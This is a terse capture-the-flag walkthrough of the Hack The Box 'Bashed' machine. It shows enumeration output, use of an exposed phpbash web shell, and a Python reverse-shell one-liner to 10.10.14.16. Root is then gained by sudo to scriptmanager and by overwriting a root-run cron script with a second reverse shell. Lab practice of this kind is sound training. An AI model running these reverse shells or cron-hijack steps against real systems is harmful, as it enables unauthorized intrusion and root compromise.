CRONTAB RUNNING EVERY MINUTE EVERY PYTHON

REVERSE PYTHON SHELL TO PRIVESC

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Arrexel's Development Site

root@kali:/home/kali/Desktop/hackthebox/bashed# nikto -h http://bashed.htb

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ /config.php: PHP Config file may contain database IDs and passwords.

+ OSVDB-3268: /css/: Directory indexing found.

+ OSVDB-3092: /css/: This might be interesting...

+ OSVDB-3268: /dev/: Directory indexing found.

+ OSVDB-3092: /dev/: This might be interesting...

+ OSVDB-3268: /php/: Directory indexing found.

+ OSVDB-3092: /php/: This might be interesting...

+ OSVDB-3268: /images/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

root@kali:/home/kali/Desktop/hackthebox/bashed# gobuster dir -u http://bashed.htb/ -w /usr/share/wordlists/dirb/common.txt

/.hta (Status: 403)

/.htpasswd (Status: 403)

/.htaccess (Status: 403)

/css (Status: 301)

/dev (Status: 301)

/fonts (Status: 301)

/images (Status: 301)

/index.html (Status: 200)

/js (Status: 301)

/php (Status: 301)

/server-status (Status: 403)

/uploads (Status: 301)

http://bashed.htb/dev/phpbash.php

www-data@bashed

:/var/www/html/dev# id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@bashed

:/var/www/html/dev# ls

phpbash.min.php

phpbash.php

www-data@bashed

:/var/www/html/dev# which nc

/bin/nc

www-data@bashed

:/var/www/html/dev# which python

/usr/bin/python

root@kali:/home/kali/Desktop/hackthebox/bashed# nc -nlvp 1234

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

SHELL GAINED!!!!!!!!!

PRIVESC

www-data@bashed:/var/www/html/dev$ sudo -l

Matching Defaults entries for www-data on bashed:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:

(scriptmanager : scriptmanager) NOPASSWD: ALL

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash

scriptmanager@bashed:/var/www/html/dev$

scriptmanager@bashed:/$ ls –la

drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin

drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 scripts

drwxr-xr-x 2 root root 4096 Feb 15 2017 srv

scriptmanager@bashed:/scripts$ ls

test.py test.txt

scriptmanager@bashed:/scripts$ cat test.py

f = open("test.txt", "w")

f.write("testing 123!")

f.close

scriptmanager@bashed:/scripts$ cat test.txt

testing 123!ls

scriptmanager@bashed:/scripts$ cat test.py

scriptmanager@bashed:/scripts$ cat test.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

root@kali:/home/kali/Desktop/tools# nc -nlvp 4444

listening on [any] 4444 ...

connect to [10.10.14.16] from (UNKNOWN) [10.10.10.68] 41852

/bin/sh: 0: can't access tty; job control turned off

whoami

root